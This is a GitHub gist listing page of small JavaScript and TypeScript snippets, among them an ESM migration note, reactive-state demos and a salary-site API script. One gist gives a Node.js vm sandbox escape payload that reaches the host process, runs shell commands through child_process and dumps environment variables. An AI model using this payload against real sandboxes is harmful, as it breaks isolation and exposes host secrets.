Skip to content

Instantly share code, notes, and snippets.

View vikiboss's full-sized avatar
🍓
loading...

Viki vikiboss

🍓
loading...
View GitHub Profile
@vikiboss
vikiboss / index.js
Last active December 6, 2020 11:10
a demo code for npx test that run code from url
#!/usr/bin/env node
console.log("hello noder")
@vikiboss
vikiboss / esm-package.md
Created September 19, 2022 01:06 — forked from sindresorhus/esm-package.md
Pure ESM package

Pure ESM package

The package linked to from here is now pure ESM. It cannot be require()'d from CommonJS.

This means you have the following choices:

  1. Use ESM yourself. (preferred)
    Use import foo from 'foo' instead of const foo = require('foo') to import the package. You also need to put "type": "module" in your package.json and more. Follow the below guide.
  2. If the package is used in an async context, you could use await import(…) from CommonJS instead of require(…).
  3. Stay on the existing version of the package until you can move to ESM.
@vikiboss
vikiboss / offer.mjs
Created October 9, 2022 05:48
Offer Show Scripts
// usage: node --no-warnings offer.mjs 米哈游 前端
const args = process.argv.slice(2);
const js_code = ''; // get by wx.login method in WeChat
const api = 'https://www.ioffershow.com/V4';
const silentLogin = async (js_code) => {
const res = await fetch(`${api}/silent_login`, {
method: 'POST',
@vikiboss
vikiboss / out-of-sandbox.js
Last active February 14, 2023 04:14
沙盒逃逸常见例子
this.constructor.constructor('return process')().mainModule.constructor._load('child_process').execSync('ls');
var exec = this.constructor.constructor;
var process = exec('return process')();
var require = process.mainModule.constructor._load;
var execSysCmd = require('child_process').execSync;
// process.exit();
console.log(process.env);
@vikiboss
vikiboss / rearct-native-app-in-wsl2.md
Created February 27, 2023 07:01 — forked from bergmannjg/rearct-native-app-in-wsl2.md
Building a react native app in WSL2
@vikiboss
vikiboss / mini-signal.ts
Created March 23, 2023 02:46
mini signal implement
let currentListener: Function | undefined = undefined
function createSignal<T>(initialValue: T) {
let value = initialValue
const subscribers = new Set<Function>()
const read = () => {
if (currentListener !== undefined) {
subscribers.add(currentListener)
@vikiboss
vikiboss / reactive.ts
Created April 4, 2023 11:24
响应式状态 Demo
import rfdc from 'rfdc'
type Listener<T> = (snapshot: T) => void
interface State<T extends object> {
proxy: T
target: T
listeners: Set<Listener<T>>
}
@vikiboss
vikiboss / deepClone.ts
Created April 4, 2023 12:10
Deep Clone for TS
function isObject(obj: unknown): obj is Record<string, unknown> {
return typeof obj === 'object' && obj !== null
}
export function deepClone<T>(obj: T, cache: Map<unknown, unknown> = new Map()): T {
if (obj === null || typeof obj !== 'object') {
return obj
}
if (cache.has(obj)) {
@vikiboss
vikiboss / kivibot-cli.ts
Last active April 6, 2023 08:30
KiviBot
import sade from 'sade'
const kivi = sade('kivi')
kivi
.version('1.0.0')
.describe('cli for kivibot')
.option('-c, --config', 'Provide path to custom kivibot config', 'kivi.json')
kivi
@vikiboss
vikiboss / destruct-it.ts
Created April 20, 2023 08:10
destructuring-with-object-or-array
// @from antfu https://antfu.me/posts/destructuring-with-object-or-array
export function destructIt<T extends Record<string, unknown>, A extends readonly any[]>(
obj: T,
arr: A
): T & A {
const clone = { ...obj }
Object.defineProperty(clone, Symbol.iterator, {
enumerable: false,